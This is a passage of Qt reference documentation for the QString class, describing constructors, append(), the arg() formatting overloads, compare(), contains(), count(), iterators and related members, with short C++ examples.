 **See also** [operator=](qstring#operator-eq)().

 ### 
`[since 6.1]` template <typename> QString::QString(const char8\_t \**str*)

 Constructs a string initialized with the UTF-8 string *str*. The given const char8\_t pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 This function was introduced in Qt 6.1.

 **See also** [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), and [fromUtf8](qstring#fromUtf8)().

 ### QString::QString([QLatin1String](qlatin1string) *str*)

 Constructs a copy of the Latin-1 string *str*.

 **See also** [fromLatin1](qstring#fromLatin1)().

 ### QString::QString(qsizetype *size*, [QChar](qchar) *ch*)

 Constructs a string of the given *size* with every character set to *ch*.

 **See also** [fill](qstring#fill)().

 ### QString::QString([QChar](qchar) *ch*)

 Constructs a string of size 1 containing the character *ch*.

 ### QString::QString(const [QChar](qchar) \**unicode*, qsizetype *size* = -1)

 Constructs a string initialized with the first *size* characters of the [QChar](qchar) array *unicode*.

 If *unicode* is 0, a null string is constructed.

 If *size* is negative, *unicode* is assumed to point to a \0'-terminated array and its length is determined dynamically. The terminating null character is not considered part of the string.

 QString makes a deep copy of the string data. The unicode data is copied as is and the Byte Order Mark is preserved if present.

 **See also** [fromRawData](qstring#fromRawData)().

 ### QString::QString()

 Constructs a null string. Null strings are also empty.

 **See also** [isEmpty](qstring#isEmpty)().

 ### 
[QString](qstring#QString) &QString::operator=(const [QByteArray](qbytearray) &*ba*)

 This function overloads operator=().

 Assigns *ba* to this string. The byte array is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function. This function stops conversion at the first NUL character found, or the end of the *ba* byte array.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
`[since 5.2]` [QString](qstring#QString) &QString::operator=([QString](qstring#QString) &&*other*)

 Move-assigns *other* to this [QString](qstring) instance.

 This function was introduced in Qt 5.2.

 ### 
[QString](qstring#QString) &QString::operator=(const [QString](qstring#QString) &*other*)

 Assigns *other* to this string and returns a reference to this string.

 ### QString::~QString()

 Destroys the string.

 ### 
[QString](qstring#QString) &QString::append(const [QString](qstring#QString) &*str*)

 Appends the string *str* onto the end of this string.

 Example:

 
```
QString x = "free";
QString y = "dom";

x.append(y);
// x == "freedom"
```
 This is the same as using the [insert](qstring#insert)() function:

 
```
x.insert(x.size(), y);
```
 The append() function is typically very fast ([constant time](containers#constant-time)), because [QString](qstring) preallocates extra space at the end of the string data so it can grow without reallocating the entire string each time.

 **See also** [operator+=](qstring#operator-2b-eq)(), [prepend](qstring#prepend)(), and [insert](qstring#insert)().

 ### 
[QString](qstring#QString) &QString::append([QChar](qchar) *ch*)

 This function overloads append().

 Appends the character *ch* to this string.

 ### 
`[since 5.0]` [QString](qstring#QString) &QString::append(const [QChar](qchar) \**str*, qsizetype *len*)

 This function overloads append().

 Appends *len* characters from the [QChar](qchar) array *str* to this string.

 This function was introduced in Qt 5.0.

 ### 
[QString](qstring#QString) &QString::append([QLatin1String](qlatin1string) *str*)

 This function overloads append().

 Appends the Latin-1 string *str* to this string.

 ### 
[QString](qstring#QString) &QString::append(const char \**str*)

 This function overloads append().

 Appends the string *str* to this string. The given const char pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) &QString::append(const [QByteArray](qbytearray) &*ba*)

 This function overloads append().

 Appends the byte array *ba* to this string. The given byte array is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) QString::arg(const [QString](qstring#QString) &*a*, int *fieldWidth* = 0, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 Returns a copy of this string with the lowest numbered place marker replaced by string *a*, i.e., `%1`, `%2`, ..., `%99`.

 *fieldWidth* specifies the minimum amount of space that argument *a* shall occupy. If *a* requires less space than *fieldWidth*, it is padded to *fieldWidth* with character *fillChar*. A positive *fieldWidth* produces right-aligned text. A negative *fieldWidth* produces left-aligned text.

 This example shows how we might create a `status` string for reporting progress while processing a list of files:

 
```
QString i;           // current file's number
QString total;       // number of files to process
QString fileName;    // current file's name

QString status = QString("Processing file %1 of %2: %3")
                .arg(i).arg(total).arg(fileName);
```
 First, `arg(i)` replaces `%1`. Then `arg(total)` replaces `%2`. Finally, `arg(fileName)` replaces `%3`.

 One advantage of using arg() over [asprintf](qstring#asprintf)() is that the order of the numbered place markers can change, if the application's strings are translated into other languages, but each arg() will still replace the lowest numbered unreplaced place marker, no matter where it appears. Also, if place marker `%i` appears more than once in the string, the arg() replaces all of them.

 If there is no unreplaced place marker remaining, a warning message is output and the result is undefined. Place marker numbers must be in the range 1 to 99.

 ### 
[QString](qstring#QString) QString::arg([qlonglong](qtglobal#qlonglong-typedef) *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *base* argument specifies the base to use when converting the integer *a* into a string. The base must be between 2 and 36, with 8 giving octal, 10 decimal, and 16 hexadecimal numbers.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg([qulonglong](qtglobal#qulonglong-typedef) *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *base* argument specifies the base to use when converting the integer *a* into a string. *base* must be between 2 and 36, with 8 giving octal, 10 decimal, and 16 hexadecimal numbers.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg(long *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *a* argument is expressed in the given *base*, which is 10 by default and must be between 2 and 36.

 The '%' can be followed by an 'L', in which case the sequence is replaced with a localized representation of *a*. The conversion uses the default locale. The default locale is determined from the system's locale settings at application startup. It can be changed using [QLocale::setDefault](qlocale#setDefault)(). The 'L' flag is ignored if *base* is not 10.

 
```
QString str;
str = QString("Decimal 63 is %1 in hexadecimal")
        .arg(63, 0, 16);
// str == "Decimal 63 is 3f in hexadecimal"

QLocale::setDefault(QLocale(QLocale::English, QLocale::UnitedStates));
str = QString("%1 %L2 %L3")
        .arg(12345)
        .arg(12345)
        .arg(12345, 0, 16);
// str == "12345 12,345 3039"
```
 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg([ulong](qtglobal#ulong-typedef) *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *base* argument specifies the base to use when converting the integer *a* to a string. The base must be between 2 and 36, with 8 giving octal, 10 decimal, and 16 hexadecimal numbers.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg(int *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 The *a* argument is expressed in base *base*, which is 10 by default and must be between 2 and 36. For bases other than 10, *a* is treated as an unsigned integer.

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The '%' can be followed by an 'L', in which case the sequence is replaced with a localized representation of *a*. The conversion uses the default locale, set by [QLocale::setDefault](qlocale#setDefault)(). If no default locale was specified, the system locale is used. The 'L' flag is ignored if *base* is not 10.

 
```
QString str;
str = QString("Decimal 63 is %1 in hexadecimal")
        .arg(63, 0, 16);
// str == "Decimal 63 is 3f in hexadecimal"

QLocale::setDefault(QLocale(QLocale::English, QLocale::UnitedStates));
str = QString("%1 %L2 %L3")
        .arg(12345)
        .arg(12345)
        .arg(12345, 0, 16);
// str == "12345 12,345 3039"
```
 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg([uint](qtglobal#uint-typedef) *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 The *base* argument specifies the base to use when converting the integer *a* into a string. The base must be between 2 and 36.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg(short *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *base* argument specifies the base to use when converting the integer *a* into a string. The base must be between 2 and 36, with 8 giving octal, 10 decimal, and 16 hexadecimal numbers.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg([ushort](qtglobal#ushort-typedef) *a*, int *fieldWidth* = 0, int *base* = 10, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 The *base* argument specifies the base to use when converting the integer *a* into a string. The base must be between 2 and 36, with 8 giving octal, 10 decimal, and 16 hexadecimal numbers.

 **See also** [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg(double *a*, int *fieldWidth* = 0, char *format* = 'g', int *precision* = -1, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 Argument *a* is formatted according to the specified *format* and *precision*. See [Floating-point Formats](qstring#floating-point-formats) for details.

 *fieldWidth* specifies the minimum amount of space that *a* is padded to and filled with the character *fillChar*. A positive value produces right-aligned text; a negative value produces left-aligned text.

 
```
double d = 12.34;
QString str = QString("delta: %1").arg(d, 0, 'E', 3);
// str == "delta: 1.234E+01"
```
 **See also** [QLocale::toString](qlocale#toString)(), [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum), and [Number Formats](qstring#number-formats).

 ### 
[QString](qstring#QString) QString::arg(char *a*, int *fieldWidth* = 0, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 The *a* argument is interpreted as a Latin-1 character.

 ### 
[QString](qstring#QString) QString::arg([QChar](qchar) *a*, int *fieldWidth* = 0, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This function overloads arg().

 ### 
`[since 5.10]` [QString](qstring#QString) QString::arg([QStringView](qstringview) *a*, int *fieldWidth* = 0, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This is an overloaded function.

 Returns a copy of this string with the lowest-numbered place-marker replaced by string *a*, i.e., `%1`, `%2`, ..., `%99`.

 *fieldWidth* specifies the minimum amount of space that *a* shall occupy. If *a* requires less space than *fieldWidth*, it is padded to *fieldWidth* with character *fillChar*. A positive *fieldWidth* produces right-aligned text. A negative *fieldWidth* produces left-aligned text.

 This example shows how we might create a `status` string for reporting progress while processing a list of files:

 
```
int i;                // current file's number
int total;            // number of files to process
QStringView fileName; // current file's name

QString status = QString("Processing file %1 of %2: %3")
                .arg(i).arg(total).arg(fileName);
```
 First, `arg(i)` replaces `%1`. Then `arg(total)` replaces `%2`. Finally, `arg(fileName)` replaces `%3`.

 One advantage of using arg() over [asprintf](qstring#asprintf)() is that the order of the numbered place markers can change, if the application's strings are translated into other languages, but each arg() will still replace the lowest-numbered unreplaced place-marker, no matter where it appears. Also, if place-marker `%i` appears more than once in the string, arg() replaces all of them.

 If there is no unreplaced place-marker remaining, a warning message is printed and the result is undefined. Place-marker numbers must be in the range 1 to 99.

 This function was introduced in Qt 5.10.

 ### 
`[since 5.10]` [QString](qstring#QString) QString::arg([QLatin1String](qlatin1string) *a*, int *fieldWidth* = 0, [QChar](qchar) *fillChar* = QLatin1Char(' ')) const

 This is an overloaded function.

 Returns a copy of this string with the lowest-numbered place-marker replaced by string *a*, i.e., `%1`, `%2`, ..., `%99`.

 *fieldWidth* specifies the minimum amount of space that *a* shall occupy. If *a* requires less space than *fieldWidth*, it is padded to *fieldWidth* with character *fillChar*. A positive *fieldWidth* produces right-aligned text. A negative *fieldWidth* produces left-aligned text.

 One advantage of using arg() over [asprintf](qstring#asprintf)() is that the order of the numbered place markers can change, if the application's strings are translated into other languages, but each arg() will still replace the lowest-numbered unreplaced place-marker, no matter where it appears. Also, if place-marker `%i` appears more than once in the string, arg() replaces all of them.

 If there is no unreplaced place-marker remaining, a warning message is printed and the result is undefined. Place-marker numbers must be in the range 1 to 99.

 This function was introduced in Qt 5.10.

 ### 
`[static, since 5.5]` [QString](qstring#QString) QString::asprintf(const char \**cformat*, ...)

 Safely builds a formatted string from the format string *cformat* and an arbitrary list of arguments.

 The format string supports the conversion specifiers, length modifiers, and flags provided by printf() in the standard C++ library. The *cformat* string and `%s` arguments must be UTF-8 encoded.

  **Note:** The `%lc` escape sequence expects a unicode character of type `char16_t`, or `ushort` (as returned by [QChar::unicode](qchar#unicode)()). The `%ls` escape sequence expects a pointer to a zero-terminated array of unicode characters of type `char16_t`, or ushort (as returned by [QString::utf16](qstring#utf16)()). This is at odds with the printf() in the standard C++ library, which defines `%lc` to print a wchar\_t and `%ls` to print a `wchar_t*`, and might also produce compiler warnings on platforms where the size of `wchar_t` is not 16 bits.

   **Warning:** We do not recommend using QString::asprintf() in new Qt code. Instead, consider using [QTextStream](qtextstream) or [arg](qstring#arg)(), both of which support Unicode strings seamlessly and are type-safe. Here is an example that uses [QTextStream](qtextstream):

  
```
QString result;
QTextStream(&result) << "pi = " << 3.14;
// result == "pi = 3.14"
```
 For [translations](qobject#tr), especially if the strings contains more than one escape sequence, you should consider using the [arg](qstring#arg)() function instead. This allows the order of the replacements to be controlled by the translator.

 This function was introduced in Qt 5.5.

 **See also** [arg](qstring#arg)().

 ### const [QChar](qchar) QString::at(qsizetype *position*) const

 Returns the character at the given index *position* in the string.

 The *position* must be a valid index position in the string (i.e., 0 <= *position* < [size](qstring#size)()).

 **See also** [operator[]](qstring#operator-5b-5d)().

 ### 
`[since 5.10]` [QChar](qchar) QString::back() const

 Returns the last character in the string. Same as `at(size() - 1)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty string constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [front](qstring#front)(), [at](qstring#at)(), and [operator[]](qstring#operator-5b-5d)().

 ### 
`[since 5.10]` [QChar](qchar) &QString::back()

 Returns a reference to the last character in the string. Same as `operator[](size() - 1)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty string constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [front](qstring#front)(), [at](qstring#at)(), and [operator[]](qstring#operator-5b-5d)().

 ### 
[QString::iterator](qstring#iterator-typedefx) QString::begin()

 Returns an [STL-style iterator](containers#stl-style-iterators) pointing to the first character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  **See also** [constBegin](qstring#constBegin)() and [end](qstring#end)().

 ### 
[QString::const\_iterator](qstring#const_iterator-typedef) QString::begin() const

 This function overloads begin().

 ### 
qsizetype QString::capacity() const

 Returns the maximum number of characters that can be stored in the string without forcing a reallocation.

 The sole purpose of this function is to provide a means of fine tuning [QString](qstring)'s memory usage. In general, you will rarely ever need to call this function. If you want to know how many characters are in the string, call [size](qstring#size)().

  **Note:** a statically allocated string will report a capacity of 0, even if it's not empty.

   **Note:** The free space position in the allocated memory block is undefined. In other words, one should not assume that the free memory is always located after the initialized elements.

  **See also** [reserve](qstring#reserve)() and [squeeze](qstring#squeeze)().

 ### 
`[since 5.0]` [QString::const\_iterator](qstring#const_iterator-typedef) QString::cbegin() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing to the first character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.0.

 **See also** [begin](qstring#begin)() and [cend](qstring#cend)().

 ### 
`[since 5.0]` [QString::const\_iterator](qstring#const_iterator-typedef) QString::cend() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing just after the last character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.0.

 **See also** [cbegin](qstring#cbegin)() and [end](qstring#end)().

 ### 
void QString::chop(qsizetype *n*)

 Removes *n* characters from the end of the string.

 If *n* is greater than or equal to [size](qstring#size)(), the result is an empty string; if *n* is negative, it is equivalent to passing zero.

 Example:

 
```
QString str("LOGOUT\r\n");
str.chop(2);
// str == "LOGOUT"
```
 If you want to remove characters from the *beginning* of the string, use [remove](qstring#remove)() instead.

 **See also** [truncate](qstring#truncate)(), [resize](qstring#resize)(), [remove](qstring#remove)(), and [QStringView::chop](qstringview#chop)().

 ### 
`[since 5.10]` [QString](qstring#QString) QString::chopped(qsizetype *len*) const

 Returns a string that contains the [size](qstring#size)() - *len* leftmost characters of this string.

  **Note:** The behavior is undefined if *len* is negative or greater than [size](qstring#size)().

  This function was introduced in Qt 5.10.

 **See also** [endsWith](qstring#endsWith)(), [first](qstring#first)(), [last](qstring#last)(), [sliced](qstring#sliced)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
void QString::clear()

 Clears the contents of the string and makes it null.

 **See also** [resize](qstring#resize)() and [isNull](qstring#isNull)().

 ### 
`[static]` int QString::compare(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 Compares *s1* with *s2* and returns an integer less than, equal to, or greater than zero if *s1* is less than, equal to, or greater than *s2*.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum), the comparison is case sensitive; otherwise the comparison is case insensitive.

 Case sensitive comparison is based exclusively on the numeric Unicode values of the characters and is very fast, but is not what a human would expect. Consider sorting user-visible strings with [localeAwareCompare](qstring#localeAwareCompare)().

 
```
int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive);  // x == 0
int y = QString::compare("auto", "Car", Qt::CaseSensitive);     // y > 0
int z = QString::compare("auto", "Car", Qt::CaseInsensitive);   // z < 0
```
 **See also** [operator==](qstring#operator-eq-eq-1)(), [operator<](qstring#operator-lt-1)(), [operator>](qstring#operator-gt)(), and [Comparing Strings](qstring#comparing-strings).

 ### 
int QString::compare(const [QString](qstring#QString) &*other*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads compare().

 Lexically compares this string with the *other* string and returns an integer less than, equal to, or greater than zero if this string is less than, equal to, or greater than the other string.

 Same as compare(\*this, *other*, *cs*).

 ### 
int QString::compare([QLatin1String](qlatin1string) *other*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads compare().

 Same as compare(\*this, *other*, *cs*).

 ### 
`[since 5.12]` int QString::compare([QStringView](qstringview) *s*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads compare().

 Performs a comparison of this with *s*, using the case sensitivity setting *cs*.

 This function was introduced in Qt 5.12.

 ### 
`[since 5.14]` int QString::compare([QChar](qchar) *ch*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads compare().

 Performs a comparison of this with *ch*, using the case sensitivity setting *cs*.

 This function was introduced in Qt 5.14.

 ### 
`[static]` int QString::compare(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads compare().

 Performs a comparison of *s1* and *s2*, using the case sensitivity setting *cs*.

 ### 
`[static]` int QString::compare([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads compare().

 Performs a comparison of *s1* and *s2*, using the case sensitivity setting *cs*.

 ### 
`[static]` int QString::compare(const [QString](qstring#QString) &*s1*, [QStringView](qstringview) *s2*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads compare().

 ### 
`[static]` int QString::compare([QStringView](qstringview) *s1*, const [QString](qstring#QString) &*s2*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive)

 This function overloads compare().

 ### 
[QString::const\_iterator](qstring#const_iterator-typedef) QString::constBegin() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing to the first character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  **See also** [begin](qstring#begin)() and [constEnd](qstring#constEnd)().

 ### const [QChar](qchar) \*QString::constData() const

 Returns a pointer to the data stored in the [QString](qstring). The pointer can be used to access the characters that compose the string.

 Note that the pointer remains valid only as long as the string is not modified.

  **Note:** The returned string may not be '\0'-terminated. Use [size](qstring#size)() to determine the length of the array.

  **See also** [data](qstring#data)(), [operator[]](qstring#operator-5b-5d)(), and [fromRawData](qstring#fromRawData)().

 ### 
[QString::const\_iterator](qstring#const_iterator-typedef) QString::constEnd() const

 Returns a const [STL-style iterator](containers#stl-style-iterators) pointing just after the last character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  **See also** [constBegin](qstring#constBegin)() and [end](qstring#end)().

 ### 
bool QString::contains(const [QString](qstring#QString) &*str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns `true` if this string contains an occurrence of the string *str*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString str = "Peter Pan";
str.contains("peter", Qt::CaseInsensitive);    // returns true
```
 **See also** [indexOf](qstring#indexOf)() and [count](qstring#count-1)().

 ### 
bool QString::contains([QChar](qchar) *ch*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads contains().

 Returns `true` if this string contains an occurrence of the character *ch*; otherwise returns `false`.

 ### 
`[since 5.3]` bool QString::contains([QLatin1String](qlatin1string) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads contains().

 Returns `true` if this string contains an occurrence of the latin-1 string *str*; otherwise returns `false`.

 This function was introduced in Qt 5.3.

 ### 
`[since 5.14]` bool QString::contains([QStringView](qstringview) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads contains().

 Returns `true` if this string contains an occurrence of the string view *str*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This function was introduced in Qt 5.14.

 **See also** [indexOf](qstring#indexOf)() and [count](qstring#count-1)().

 ### 
`[since 5.1]` bool QString::contains(const [QRegularExpression](qregularexpression) &*re*, [QRegularExpressionMatch](qregularexpressionmatch) \**rmatch* = nullptr) const

 Returns `true` if the regular expression *re* matches somewhere in this string; otherwise returns `false`.

 If the match is successful and *rmatch* is not `nullptr`, it also writes the results of the match into the [QRegularExpressionMatch](qregularexpressionmatch) object pointed to by *rmatch*.

 This function was introduced in Qt 5.1.

 **See also** [QRegularExpression::match](qregularexpression#match)().

 ### 
qsizetype QString::count(const [QString](qstring#QString) &*str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns the number of (potentially overlapping) occurrences of the string *str* in this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 **See also** [contains](qstring#contains)() and [indexOf](qstring#indexOf)().

 ### 
qsizetype QString::count() const

 This function overloads count().

 Same as [size](qstring#size)().

 ### 
qsizetype QString::count([QChar](qchar) *ch*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads count().

 Returns the number of occurrences of character *ch* in the string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 **See also** [contains](qstring#contains)() and [indexOf](qstring#indexOf)().

 ### 
`[since 6.0]` qsizetype QString::count([QStringView](qstringview) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads count().

 Returns the number of (potentially overlapping) occurrences of the string view *str* in this string.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This function was introduced in Qt 6.0.

 **See also** [contains](qstring#contains)() and [indexOf](qstring#indexOf)().

 ### 
`[since 5.0]` qsizetype QString::count(const [QRegularExpression](qregularexpression) &*re*) const

 This function overloads count().

 Returns the number of times the regular expression *re* matches in the string.

 For historical reasons, this function counts overlapping matches, so in the example below, there are four instances of "ana" or "ama":

 
```
QString str = "banana and panama";
str.count(QRegularExpression("a[nm]a"));    // returns 4
```
 This behavior is different from simply iterating over the matches in the string using [QRegularExpressionMatchIterator](qregularexpressionmatchiterator).

 This function was introduced in Qt 5.0.

 **See also** [QRegularExpression::globalMatch](qregularexpression#globalMatch)().

 ### 
`[since 5.6]` [QString::const\_reverse\_iterator](qstring#const_reverse_iterator-typedef) QString::crbegin() const

 Returns a const [STL-style](containers#stl-style-iterators) reverse iterator pointing to the first character in the string, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.6.

 **See also** [begin](qstring#begin)(), [rbegin](qstring#rbegin)(), and [rend](qstring#rend)().

 ### 
`[since 5.6]` [QString::const\_reverse\_iterator](qstring#const_reverse_iterator-typedef) QString::crend() const

 Returns a const [STL-style](containers#stl-style-iterators) reverse iterator pointing just after the last character in the string, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  This function was introduced in Qt 5.6.

 **See also** [end](qstring#end)(), [rend](qstring#rend)(), and [rbegin](qstring#rbegin)().

 ### 
[QChar](qchar) \*QString::data()

 Returns a pointer to the data stored in the [QString](qstring). The pointer can be used to access and modify the characters that compose the string.

 Unlike [constData](qstring#constData)() and [unicode](qstring#unicode)(), the returned data is always '\0'-terminated.

 Example:

 
```
QString str = "Hello world";
QChar *data = str.data();
while (!data->isNull()) {
    qDebug() << data->unicode();
    ++data;
}
```
 Note that the pointer remains valid only as long as the string is not modified by other means. For read-only access, [constData](qstring#constData)() is faster because it never causes a [deep copy](implicit-sharing#deep-copy) to occur.

 **See also** [constData](qstring#constData)() and [operator[]](qstring#operator-5b-5d)().

 ### const [QChar](qchar) \*QString::data() const

 This is an overloaded function.

  **Note:** The returned string may not be '\0'-terminated. Use [size](qstring#size)() to determine the length of the array.

  **See also** [fromRawData](qstring#fromRawData)().

 ### 
[QString::iterator](qstring#iterator-typedefx) QString::end()

 Returns an [STL-style iterator](containers#stl-style-iterators) pointing just after the last character in the string.

  **Warning:** The returned iterator is invalidated on detachment or when the [QString](qstring) is modified.

  **See also** [begin](qstring#begin)() and [constEnd](qstring#constEnd)().

 ### 
[QString::const\_iterator](qstring#const_iterator-typedef) QString::end() const

 This function overloads end().

 ### 
bool QString::endsWith(const [QString](qstring#QString) &*s*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns `true` if the string ends with *s*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 
```
QString str = "Bananas";
str.endsWith("anas");         // returns true
str.endsWith("pple");         // returns false
```
 **See also** [startsWith](qstring#startsWith)().

 ### 
`[since 5.10]` bool QString::endsWith([QStringView](qstringview) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads endsWith().

 Returns `true` if the string ends with the string view *str*; otherwise returns `false`.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This function was introduced in Qt 5.10.

 **See also** [startsWith](qstring#startsWith)().

 ### 
bool QString::endsWith([QLatin1String](qlatin1string) *s*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads endsWith().

 ### 
bool QString::endsWith([QChar](qchar) *c*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns `true` if the string ends with *c*; otherwise returns `false`.

 This function overloads endsWith().

 ### 
`[since 6.1]` [QString::iterator](qstring#iterator-typedefx) QString::erase([QString::const\_iterator](qstring#const_iterator-typedef) *first*, [QString::const\_iterator](qstring#const_iterator-typedef) *last*)

